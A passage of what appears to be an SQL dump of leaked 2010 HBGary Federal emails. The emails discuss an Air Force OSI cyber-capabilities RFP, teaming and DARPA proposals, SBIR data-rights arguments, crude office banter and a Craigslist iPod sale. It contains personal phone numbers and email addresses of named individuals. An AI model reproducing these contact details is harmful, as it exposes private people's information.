getting closer to the 92nd, I need you to really engage\r\nwith Jose to see if this is something we can work together.\r\n\r\nTalk soon\r\n\r\nDan\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, February 04, 2010 12:13 AM\r\nTo: Gutierrez, Daniel L (TASC Inc)\r\nCc: Ted Vera\r\nSubject: Re: Alliant AF OSI RFP Guardian Requirement\r\n\r\nThanks.\r\n\r\nIn continued reading this opportunity is like a softball for us, so we\r\nare eager to pursue.  I met with Endgame today as well to discuss a\r\ntighter partnership.  With Endgame C2 capabilities and HBGary malware\r\nability we will be able to make significant headway against threats.  On\r\nthis opportunity as well as your existing work that Jose discussed with\r\nTed we will be able to improve upon what is the current state of the art\r\nfor malware analysis and incident response.\r\n\r\nAaron\r\n\r\n\r\nOn Feb 4, 2010, at 1:05 AM, Gutierrez, Daniel L (TASC Inc) wrote:\r\n\r\n> Still waiting to hear from Prime, hopefully tomorrow.\r\n> \r\n> I do understand that Jose and Ted had a good discussion today so \r\n> hopefully that will get some traction\r\n> \r\n> Dan\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, February 03, 2010 12:52 PM\r\n> To: Gutierrez, Daniel L (TASC Inc)\r\n> Cc: \r\n> Subject: Re: Alliant AF OSI RFP Guardian Requirement\r\n> \r\n> So what\'s the next step?\r\n> \r\n> From my iPhone\r\n> \r\n> On Feb 2, 2010, at 7:12 PM, \"Gutierrez, Daniel L (TASC Inc)\"\r\n> > wrote:\r\n> \r\n>> \r\n>> ________________________________\r\n>> \r\n>> From: Henderson, Van B (TASC Inc)\r\n>> To: Gutierrez, Daniel L (TASC Inc)\r\n>> Sent: Thu Jan 28 14:08:55 2010\r\n>> Subject: FW: Alliant AF OSI RFP Guardian Requirement\r\n>> \r\n>> \r\n>> \r\n>> If interested, I suspect the big question will be how do we get onto \r\n>> Alliant, given TASC does not hold that contract vehicle.\r\n>> \r\n>> \r\n>> \r\n>> Let me know if interested.........    I still get this info from NG\r\n>> until they figure out not to send to me.\r\n>> \r\n>> \r\n>> \r\n>> Van\r\n>> \r\n>> \r\n>> \r\n>> Van Henderson\r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> TASC, Inc\r\n>> \r\n>> Director, Business Development\r\n>> \r\n>> 4807 Stonecroft Boulevard\r\n>> \r\n>> Chantilly, VA 20151\r\n>> \r\n>> (703) 449-3996 (voice)\r\n>> \r\n>> (703) 961-1781 (fax)\r\n>> \r\n>> (703) 365-4131 (pager)\r\n>> \r\n>> 7033654131@airmessage.net (mobile email)\r\n>> \r\n>> \r\n>> \r\n>> From: James, Tami M (IS)\r\n>> Sent: Thursday, January 28, 2010 2:08 PM\r\n>> To: DL Information Systems IDIQ Distribution\r\n>> Subject: Alliant AF OSI RFP Guardian Requirement\r\n>> \r\n>> \r\n>> \r\n>> Contract: Alliant\r\n>> \r\n>> Customer: Air Force\r\n>> \r\n>> Title: Guardian\r\n>> \r\n>> Type of Task Order: Cost Plus Fixed Fee\r\n>> \r\n>> Place of Performance: San Antonio, TX\r\n>> \r\n>> Period of Performance: One-Year Base Period plus one (1) option year\r\n>> \r\n>> Incumbent: Not identified\r\n>> \r\n>> Questions Due: 3:00 PM CST, 3 Feb 2010\r\n>> \r\n>> Proposals Due: 12:00 PM Central Time on 22 Feb 2010\r\n>> \r\n>> Scope: This effort provides technical support to the Air Force Office\r\n\r\n>> of Special Investigations (AFOSI) and other law enforcement\r\n>> (LE) and counterintelligence (CI) organizations by designing and \r\n>> constructing cyber capabilities that can be used to counter the enem \r\n>> y\'s use of the Internet.  Additionally, this initiative will assist \r\n>> Air Force Network Defenders and AFOSI Computer Crime Investigators (\r\n>> CCIs) with the detection, containment, and collection, analysis, and \r\n>> reverse engineering of malicious logic. 1 The contractor shall deve \r\n>> lop and enhance existing computer security technologies necessary to \r\n>> support LE/CI investigations and operations.\r\n>> \r\n>> Top Secret Security clearance required.\r\n>> \r\n>> \r\n>> \r\n>> NOTE:  If you have any questions please contact Susan Bethke \r\n>> (Susan.Bethke@ngc.com\r\n>> ) and Tami James (Tami.James@ngc.com)\r\n>> \r\n>> Please do not contact the customer or GSA regarding this opportunity.\r\n> \r\n>> All communications must be via the NG Alliant PMO.\r\n>> \r\n>> \r\n>> \r\n>> If interested in responding, please  by 2:00PM EST, Jan\r\n\r\n>> 29, 2010\r\n>> \r\n>> \r\n>> \r\n>> Thank you,\r\n>> \r\n>> \r\n>> \r\n>> Tami M. James\r\n>> \r\n>> IDIQ Project Assistant\r\n>> \r\n>> IDIQ Solutions Team\r\n>> >> \r\n>> \r\n>> Northrop Grumman IT\r\n>> \r\n>> 15010 Conference Center Dr.\r\n>> \r\n>> Chantilly, VA 20151\r\n>> \r\n>> Tel: 703-336-9134\r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11762,'aaron_hbgary_com/11762.html'),(3421,'2010-03-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001681.M194212P3547Q3421.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Alliant AF OSI RFP Guardian Requirement','What does he mean we are getting closer to the 92nd?AaronBegin forwarded message:From: \"Gutierrez, Daniel L (TASC)\" &lt;daniel.gutierrez@TASC.COM&gt;Date: March 2, 2010 9:32:25 PM ESTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;, \"Ted Vera\" &lt;ted@hbgary.com&gt;Cc: \"Sandoval Jr, Jose (TASC)\" &lt;jose.sandoval@TASC.COM&gt;Subject: RE: Alliant AF OSI RFP Guardian RequirementAaron/Ted, did you guys get to the Office of Naval Research industryday. &nbsp;Unfortunately (ok wasn\'t that bad) but I already was scheduled tobe in San Diego. &nbsp;Still interested in talking about this.Also, we are getting closer to the 92nd, I need you to really engagewith Jose to see if this is something we can work together.Talk soonDan-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Thursday, February 04, 2010 12:13 AMTo: Gutierrez, Daniel L (TASC Inc)Cc: Ted VeraSubject: Re: Alliant AF OSI RFP Guardian RequirementThanks.In continued reading this opportunity is like a softball for us, so weare eager to pursue. &nbsp;I met with Endgame today as well to discuss atighter partnership. &nbsp;With Endgame C2 capabilities and HBGary malwareability we will be able to make significant headway against threats. &nbsp;Onthis opportunity as well as your existing work that Jose discussed withTed we will be able to improve upon what is the current state of the artfor malware analysis and incident response.AaronOn Feb 4, 2010, at 1:05 AM, Gutierrez, Daniel L (TASC Inc) wrote:Still waiting to hear from Prime, hopefully tomorrow.I do understand that Jose and Ted had a good discussion today so hopefully that will get some tractionDan-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]Sent: Wednesday, February 03, 2010 12:52 PMTo: Gutierrez, Daniel L (TASC Inc)Cc: &lt;ted@hbgary.com&gt;Subject: Re: Alliant AF OSI RFP Guardian RequirementSo what\'s the next step?From my iPhoneOn Feb 2, 2010, at 7:12 PM, \"Gutierrez, Daniel L (TASC Inc)\"&lt;daniel.gutierrez@TASC.COMwrote:________________________________From: Henderson, Van B (TASC Inc)To: Gutierrez, Daniel L (TASC Inc)Sent: Thu Jan 28 14:08:55 2010Subject: FW: Alliant AF OSI RFP Guardian RequirementIf interested, I suspect the big question will be how do we get onto Alliant, given TASC does not hold that contract vehicle.Let me know if interested......... &nbsp;&nbsp;&nbsp;I still get this info from NGuntil they figure out not to send to me.VanVan HendersonTASC, IncDirector, Business Development4807 Stonecroft BoulevardChantilly, VA 20151(703) 449-3996 (voice)(703) 961-1781 (fax)(703) 365-4131 (pager)7033654131@airmessage.net (mobile email)From: James, Tami M (IS)Sent: Thursday, January 28, 2010 2:08 PMTo: DL Information Systems IDIQ DistributionSubject: Alliant AF OSI RFP Guardian RequirementContract: AlliantCustomer: Air ForceTitle: GuardianType of Task Order: Cost Plus Fixed FeePlace of Performance: San Antonio, TXPeriod of Performance: One-Year Base Period plus one (1) option yearIncumbent: Not identifiedQuestions Due: 3:00 PM CST, 3 Feb 2010Proposals Due: 12:00 PM Central Time on 22 Feb 2010Scope: This effort provides technical support to the Air Force Officeof Special Investigations (AFOSI) and other law enforcement(LE) and counterintelligence (CI) organizations by designing and constructing cyber capabilities that can be used to counter the enem y\'s use of the Internet. &nbsp;Additionally, this initiative will assist Air Force Network Defenders and AFOSI Computer Crime Investigators (CCIs) with the detection, containment, and collection, analysis, and reverse engineering of malicious logic. 1 The contractor shall deve lop and enhance existing computer security technologies necessary to support LE/CI investigations and operations.Top Secret Security clearance required.NOTE: &nbsp;If you have any questions please contact Susan Bethke (Susan.Bethke@ngc.com) and Tami James (Tami.James@ngc.com)Please do not contact the customer or GSA regarding this opportunity.All communications must be via the NG Alliant PMO.If interested in responding, please &lt;Reply to All&gt; by 2:00PM EST, Jan29, 2010Thank you,Tami M. JamesIDIQ Project AssistantIDIQ Solutions Team&lt;https://sharecenter.myngc.com/livelink/livelink.exe/open/1553574Northrop Grumman IT15010 Conference Center Dr.Chantilly, VA 20151Tel: 703-336-9134&lt;CDRLS 1423.pdf&gt;&lt;image001.png&gt;&lt;Guardian SOW 5 Jan 10.docx&gt;&lt;DD254.pdf&gt;&lt;RFP Letter.doc&gt;Aaron BarrCEOHBGary Federal Inc.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4895,'aaron_hbgary_com/4895.html'),(3422,'2010-03-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001687.M453824P3547Q3422.eml','\"Jason R. Upchurch\" <jason.upchurch@gd-ais.com>,\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>,\"Jason R. Upchurch\" <jason.upchurch@gd-ais.com>,\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>','Technology to offer for DARPA effort','Guys,\r\n\r\nSee document for technology that we can use free and clear for this effort, no data right restrictions.  Developed under SBIR and not being pursued by HBGary.  Both I think are significant, but interested to get your thoughts.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',8235,'aaron_hbgary_com/8235.html'),(3423,'2010-03-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001692.M188309P3547Q3423.eml','\"Irby Thompson\" <irby@pikewerks.com>,\"Adam Fraser\" <adam.fraser@pikewerks.com>','For your reading pleasure for tomorrow.','',480,'aaron_hbgary_com/480.html'),(3424,'2010-03-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001692.M516375P3547Q3424.eml','\"Ted Vera\" <ted@hbgary.com>','','With increasing complexity of software comes an increasingly cumbersome analysis process to determine function and behaviors.&nbsp; This is especially true of malware which can go to great lengths to obsfucate function and intent through program seperation, encryption, packing, binding, joining, etc.&nbsp; With the increase in distribution of more complex and threatening malware there is a direct need to develop automated capabilities and methodologies to process malware for its function and purpose.&nbsp; (Example).&nbsp; At the most drastic level individual functions in code could be encrypted until time of execution, in these cases the only way you will see&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16672,'aaron_hbgary_com/16672.html'),(3425,'2010-03-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001692.M763730P3547Q3425.eml','\"mark\" <mark.trynor@gmail.com>,\"mark\" <mark.trynor@gmail.com>','Re: Welcome Aboard!','ok first day on the yob (that is mexican for job) and your already letting me down.  I send you a picture of a monkey with his penis in his mouth and nothing...\r\n\r\nhello... are you there?\r\n\r\n\r\nOn Mar 2, 2010, at 9:22 PM, mark wrote:\r\n\r\n> Obviously you haven\'t found my better google images.\r\n> \r\n> Aaron Barr wrote:\r\n>> nothing like having a positive self image...even if its mostly based on fantasy.\r\n>> \r\n>> On Mar 2, 2010, at 9:01 PM, mark wrote:\r\n>> \r\n>>> My high \"morale\" keeps my pants up and by \"morale\" I mean ... well you\r\n>>> get the idea.\r\n>>> \r\n>>> Aaron Barr wrote:\r\n>>>> Agreed.  BTW, did u read the company policies carefully.  I asked Ted to add in your employee agreement a strict pants requirement.  We have high morale and we want to keep it that way.\r\n>>>> \r\n>>>> \r\n>>>> On Mar 2, 2010, at 8:35 PM, mark wrote:\r\n>>>> \r\n>>>>> Thanks, this is going to be fun!\r\n>>>>> \r\n>>>>> Aaron Barr wrote:\r\n>>>>>> I am happy that you are our first employee.  Man you got a lot of work to do.\r\n>>>>>> \r\n>>>>>> Aaron Barr\r\n>>>>>> CEO\r\n>>>>>> HBGary Federal Inc.\r\n>>>>>> \r\n>>>>>> \r\n>>>>>> \r\n>>>>>> \r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11052,'aaron_hbgary_com/11052.html'),(3426,'2010-03-03','\"mark\" <mark.trynor@gmail.com>','/aaron@hbgary.com/new/1297001692.M982136P3547Q3426.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Welcome Aboard!','Sorry, I was busy hunting down my 3rd Gen iPod and LMAO.  As print outs\r\non my fridge next to the kids drawings they gain a certain, as the\r\nfrench say: I don\'t know what.\r\n\r\nAaron Barr wrote:\r\n> ok first day on the yob (that is mexican for job) and your already letting me down.  I send you a picture of a monkey with his penis in his mouth and nothing...\r\n> \r\n> hello... are you there?\r\n> \r\n> \r\n> On Mar 2, 2010, at 9:22 PM, mark wrote:\r\n> \r\n>> Obviously you haven\'t found my better google images.\r\n>>\r\n>> Aaron Barr wrote:\r\n>>> nothing like having a positive self image...even if its mostly based on fantasy.\r\n>>>\r\n>>> On Mar 2, 2010, at 9:01 PM, mark wrote:\r\n>>>\r\n>>>> My high \"morale\" keeps my pants up and by \"morale\" I mean ... well you\r\n>>>> get the idea.\r\n>>>>\r\n>>>> Aaron Barr wrote:\r\n>>>>> Agreed.  BTW, did u read the company policies carefully.  I asked Ted to add in your employee agreement a strict pants requirement.  We have high morale and we want to keep it that way.\r\n>>>>>\r\n>>>>>\r\n>>>>> On Mar 2, 2010, at 8:35 PM, mark wrote:\r\n>>>>>\r\n>>>>>> Thanks, this is going to be fun!\r\n>>>>>>\r\n>>>>>> Aaron Barr wrote:\r\n>>>>>>> I am happy that you are our first employee.  Man you got a lot of work to do.\r\n>>>>>>>\r\n>>>>>>> Aaron Barr\r\n>>>>>>> CEO\r\n>>>>>>> HBGary Federal Inc.\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal Inc.\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n> \r\n',12662,'aaron_hbgary_com/12662.html'),(3427,'2010-03-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001693.M205790P3547Q3427.eml','\"Gutierrez, Daniel L (TASC)\" <daniel.gutierrez@tasc.com>,\"Gutierrez, Daniel L (TASC)\" <daniel.gutierrez@tasc.com>,','Re: Alliant AF OSI RFP Guardian Requirement','Jose,\r\n\r\nWas the CLI info I sent earlier helpful?\r\n\r\nTed\r\n\r\n\r\nOn Tue, Mar 2, 2010 at 7:32 PM, Gutierrez, Daniel L (TASC)\r\n wrote:\r\n> Aaron/Ted, did you guys get to the Office of Naval Research industry\r\n> day.  Unfortunately (ok wasn\'t that bad) but I already was scheduled to\r\n> be in San Diego.  Still interested in talking about this.\r\n>\r\n> Also, we are getting closer to the 92nd, I need you to really engage\r\n> with Jose to see if this is something we can work together.\r\n>\r\n> Talk soon\r\n>\r\n> Dan\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, February 04, 2010 12:13 AM\r\n> To: Gutierrez, Daniel L (TASC Inc)\r\n> Cc: Ted Vera\r\n> Subject: Re: Alliant AF OSI RFP Guardian Requirement\r\n>\r\n> Thanks.\r\n>\r\n> In continued reading this opportunity is like a softball for us, so we\r\n> are eager to pursue.  I met with Endgame today as well to discuss a\r\n> tighter partnership.  With Endgame C2 capabilities and HBGary malware\r\n> ability we will be able to make significant headway against threats.  On\r\n> this opportunity as well as your existing work that Jose discussed with\r\n> Ted we will be able to improve upon what is the current state of the art\r\n> for malware analysis and incident response.\r\n>\r\n> Aaron\r\n>\r\n>\r\n> On Feb 4, 2010, at 1:05 AM, Gutierrez, Daniel L (TASC Inc) wrote:\r\n>\r\n>> Still waiting to hear from Prime, hopefully tomorrow.\r\n>>\r\n>> I do understand that Jose and Ted had a good discussion today so\r\n>> hopefully that will get some traction\r\n>>\r\n>> Dan\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, February 03, 2010 12:52 PM\r\n>> To: Gutierrez, Daniel L (TASC Inc)\r\n>> Cc: \r\n>> Subject: Re: Alliant AF OSI RFP Guardian Requirement\r\n>>\r\n>> So what\'s the next step?\r\n>>\r\n>> From my iPhone\r\n>>\r\n>> On Feb 2, 2010, at 7:12 PM, \"Gutierrez, Daniel L (TASC Inc)\"\r\n>> >> wrote:\r\n>>\r\n>>>\r\n>>> ________________________________\r\n>>>\r\n>>> From: Henderson, Van B (TASC Inc)\r\n>>> To: Gutierrez, Daniel L (TASC Inc)\r\n>>> Sent: Thu Jan 28 14:08:55 2010\r\n>>> Subject: FW: Alliant AF OSI RFP Guardian Requirement\r\n>>>\r\n>>>\r\n>>>\r\n>>> If interested, I suspect the big question will be how do we get onto\r\n>>> Alliant, given TASC does not hold that contract vehicle.\r\n>>>\r\n>>>\r\n>>>\r\n>>> Let me know if interested.........    I still get this info from NG\r\n>>> until they figure out not to send to me.\r\n>>>\r\n>>>\r\n>>>\r\n>>> Van\r\n>>>\r\n>>>\r\n>>>\r\n>>> Van Henderson\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>> TASC, Inc\r\n>>>\r\n>>> Director, Business Development\r\n>>>\r\n>>> 4807 Stonecroft Boulevard\r\n>>>\r\n>>> Chantilly, VA 20151\r\n>>>\r\n>>> (703) 449-3996 (voice)\r\n>>>\r\n>>> (703) 961-1781 (fax)\r\n>>>\r\n>>> (703) 365-4131 (pager)\r\n>>>\r\n>>> 7033654131@airmessage.net (mobile email)\r\n>>>\r\n>>>\r\n>>>\r\n>>> From: James, Tami M (IS)\r\n>>> Sent: Thursday, January 28, 2010 2:08 PM\r\n>>> To: DL Information Systems IDIQ Distribution\r\n>>> Subject: Alliant AF OSI RFP Guardian Requirement\r\n>>>\r\n>>>\r\n>>>\r\n>>> Contract: Alliant\r\n>>>\r\n>>> Customer: Air Force\r\n>>>\r\n>>> Title: Guardian\r\n>>>\r\n>>> Type of Task Order: Cost Plus Fixed Fee\r\n>>>\r\n>>> Place of Performance: San Antonio, TX\r\n>>>\r\n>>> Period of Performance: One-Year Base Period plus one (1) option year\r\n>>>\r\n>>> Incumbent: Not identified\r\n>>>\r\n>>> Questions Due: 3:00 PM CST, 3 Feb 2010\r\n>>>\r\n>>> Proposals Due: 12:00 PM Central Time on 22 Feb 2010\r\n>>>\r\n>>> Scope: This effort provides technical support to the Air Force Office\r\n>\r\n>>> of Special Investigations (AFOSI) and other law enforcement\r\n>>> (LE) and counterintelligence (CI) organizations by designing and\r\n>>> constructing cyber capabilities that can be used to counter the enem\r\n>>> y\'s use of the Internet.  Additionally, this initiative will assist\r\n>>> Air Force Network Defenders and AFOSI Computer Crime Investigators (\r\n>>> CCIs) with the detection, containment, and collection, analysis, and\r\n>>> reverse engineering of malicious logic. 1 The contractor shall deve\r\n>>> lop and enhance existing computer security technologies necessary to\r\n>>> support LE/CI investigations and operations.\r\n>>>\r\n>>> Top Secret Security clearance required.\r\n>>>\r\n>>>\r\n>>>\r\n>>> NOTE:  If you have any questions please contact Susan Bethke\r\n>>> (Susan.Bethke@ngc.com\r\n>>> ) and Tami James (Tami.James@ngc.com)\r\n>>>\r\n>>> Please do not contact the customer or GSA regarding this opportunity.\r\n>>\r\n>>> All communications must be via the NG Alliant PMO.\r\n>>>\r\n>>>\r\n>>>\r\n>>> If interested in responding, please  by 2:00PM EST, Jan\r\n>\r\n>>> 29, 2010\r\n>>>\r\n>>>\r\n>>>\r\n>>> Thank you,\r\n>>>\r\n>>>\r\n>>>\r\n>>> Tami M. James\r\n>>>\r\n>>> IDIQ Project Assistant\r\n>>>\r\n>>> IDIQ Solutions Team\r\n>>> >>>\r\n>>>\r\n>>> Northrop Grumman IT\r\n>>>\r\n>>> 15010 Conference Center Dr.\r\n>>>\r\n>>> Chantilly, VA 20151\r\n>>>\r\n>>> Tel: 703-336-9134\r\n>>>\r\n>>>\r\n>>>\r\n>>> \r\n>>> \r\n>>> \r\n>>> \r\n>>> \r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',5295,'aaron_hbgary_com/5295.html'),(3428,'2010-03-03','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001693.M453639P3547Q3428.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: DARPA BAA and HBGary\'s Intellectual Property','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreg,\r\nPenny, Aaron and Ted,\r\n\r\n&nbsp;\r\n\r\nI\r\nagree with Greg that it makes no sense to rebuild DDNA a second time.&nbsp;\r\nGreg says that patents have not yet been granted for DDNA and fuzzy hashing,\r\ntherefore we would not be protected and people could steal our technology.&nbsp;\r\nI don&#8217;t agree with this assessment.&nbsp; We will be protected even\r\nwithout patents.&nbsp; \r\n\r\n&nbsp;\r\n\r\nA\r\ncontractor bringing its own technology into a gov&#8217;t contract can assert &#8220;restricted\r\ndata rights&#8221; where we clearly define what the gov&#8217;t can and cannot\r\ndo with the IP.\r\n\r\n&nbsp;\r\n\r\nWe\r\ncan choose to give subcontractors access to our IP or we may choose not\r\nto.&nbsp; If the sub needs the software to do a job we give them &#8211; they can\r\nwork with a licensed copy of the shipping software like any of our customers.&nbsp;\r\nIn the event the sub needs access to the underlying IP, then we make them sign\r\nan agreement that defines and restricts what they can and cannot do.&nbsp; If\r\nthey won&#8217;t sign the agreement then either they will not be our subs or we\r\nsimply don&#8217;t give them access to the underlying IP.\r\n\r\n&nbsp;\r\n\r\nCertainly,\r\nwe can consult our IP attorney to write data rights assertions to protect our\r\nIP on our terms.&nbsp; GD said they deal with existing IP all the time, and\r\nthey have offered to give us counsel on the issue to protect our IP and our\r\nrights.\r\n\r\n&nbsp;\r\n\r\nFrankly,\r\nI don&#8217;t like the idea of offering up Inspector as the starting point of\r\nthe new work.&nbsp; HBGary has invested many man-years of development since\r\nSpring 2008 (when the SBIR Phase II work was completed) to evolve from the old\r\nInspector to where we are today.&nbsp; If we do this we punt on our competitive\r\nadvantage of having 2-4 years ahead of the competition.&nbsp; To work with the\r\nold Inspector we give most of those two years right back.&nbsp; Do you really\r\nwant to maintain two code bases?\r\n\r\n&nbsp;\r\n\r\nWe\r\ncan have our cake and eat it too.&nbsp; We clearly assert our ownership and\r\ndata rights.&nbsp; This has the added advantage of clearly defining to the gov&#8217;t\r\nhow far ahead we are of everybody else.&nbsp; The gov&#8217;t doesn&#8217;t get\r\nour IP for free.&nbsp; It is still a product that organizations get to use when\r\nthey buy licenses that are protected by our product licensing scheme and the\r\nlicensing agreement.\r\n\r\n&nbsp;\r\n\r\nI\r\ndon&#8217;t see any circumstance by which other organizations or potential\r\ncompetitors get our IP if we use it in the DARPA contract, patent or no patent.&nbsp;\r\nIf you see how we could screw ourselves, please elaborate it to me.\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary,\r\nInc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10002,'aaron_hbgary_com/10002.html'),(3429,'2010-03-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001694.M624305P3547Q3429.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: SBIR Phase III','Did you read this?  I think Bob makes a good argument.  I think we\r\nshould assert our data rights and use Responder / DDNA.  We may still\r\nneed some of the older tech for the execution trees, etc...\r\n\r\n\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Bob Slapnik \r\nDate: Mon, Mar 1, 2010 at 1:42 PM\r\nSubject: SBIR Phase III\r\nTo: Aaron Barr , Ted Vera \r\n\r\n\r\nAaron and Ted,\r\n\r\n\r\n\r\nThis doc describes SBIR Phase III contracts.  It says a gov’t contract\r\nthat is derived from SBIR work is itself an SBIR contract and shall be\r\ngranted SBIR data rights.  I highlighted a few passages, but there are\r\nother useful things in the doc.\r\n\r\n\r\n\r\nSBIR DATA RIGHTS\r\n\r\n-          Contractor retains IP ownership\r\n\r\n-          Gov’t gets restricted rights for 5 years (DoD) or 4 years (non-DoD)\r\n\r\n-          After the restricted rights period expires the gov’t gets\r\nunrestricted rights of the data that is 4 or 5 years old\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',15028,'aaron_hbgary_com/15028.html'),(3430,'2010-03-03','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297001697.M778245P3547Q3430.eml','mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Need ASAP:  ipod 1st, 2nd, or 3rd generation - $75 (Colorado Springs)','Begin forwarded message:From: Chad and Nicole Corman &lt;cormans@glimpsesofasia.com&gt;Date: March 2, 2010 11:58:04 PM MSTTo: Ted Vera &lt;tedvera@me.com&gt;Subject: Re: Need ASAP:&nbsp; ipod 1st, 2nd, or 3rd generation - $75 (Colorado Springs)Hey Ted,I\'m not sure, I\'m actually charging it now. &nbsp;It\'s been in a desk drawer for a while. &nbsp;I\'ll charge it up tonight and see how long it lasts in the morning if that\'s okay. &nbsp;I have the charger, cable, and headphones as well if you are interested. &nbsp;It\'s in great shape overall, slightly scratched, but in great shape. &nbsp;Have been holding out to try to get $100 for it...I also have two Mac G4 Powerbooks, one with a broken hinge/wire, one fully functioning if you are interested.Thanks,ChadOn Mar 2, 2010, at 11:49 PM, Ted Vera wrote:Thanks yes I am interested. About how long does the battery last?TedOn Mar 2, 2010, at 11:37 PM, Chad and Nicole Corman &lt;cormans@glimpsesofasia.com&gt; wrote:** CRAIGSLIST ADVISORY --- AVOID SCAMS BY DEALING LOCALLY** Avoid: &nbsp;wiring money, cross-border deals, work-at-home** Beware: cashier checks, money orders, escrow, shipping** More Info: &nbsp;http://www.craigslist.org/about/scams.htmlhi there,Wondering if you are still looking for a firewire ipod? &nbsp;If so, I have a first generation ipod (moveable click wheel) that works, but the battery doesn\'t last long. &nbsp;Works great as external hard drive or as a music player when plugged in. &nbsp;Let me know if you are interested.Thanks.http://cosprings.craigslist.org/wan/1625584155.html------------------------------------------------------------------this message was remailed to you via: sale-q46ed-1625584155@craigslist.org------------------------------------------------------------------',146,'aaron_hbgary_com/146.html'),(3431,'2010-03-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001697.M952832P3547Q3431.eml','\"Dawn Song\" <dawnsong@cs.berkeley.edu>,\"Dawn Song\" <dawnsong@cs.berkeley.edu>','TA3','Dawn,\r\n\r\nI want to make sure your interested in participating in TA3 and if so I would like to get in place an NDA as quickly as possible to get your approaches and work integrated.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6450,'aaron_hbgary_com/6450.html'),(3432,'2010-03-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001698.M154834P3547Q3432.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>,\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>','Status','Brian/Chris,\r\n\r\nJust checking on status of potential teaming?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8535,'aaron_hbgary_com/8535.html'),(3433,'2010-03-03','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001698.M395981P3547Q3433.eml','\"Aaron Barr\" <aaron@hbgary.com>','2 PM meeting dial-in?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nDo you want to use our dial-in for the 2 PM meeting with\r\nPikewerks as 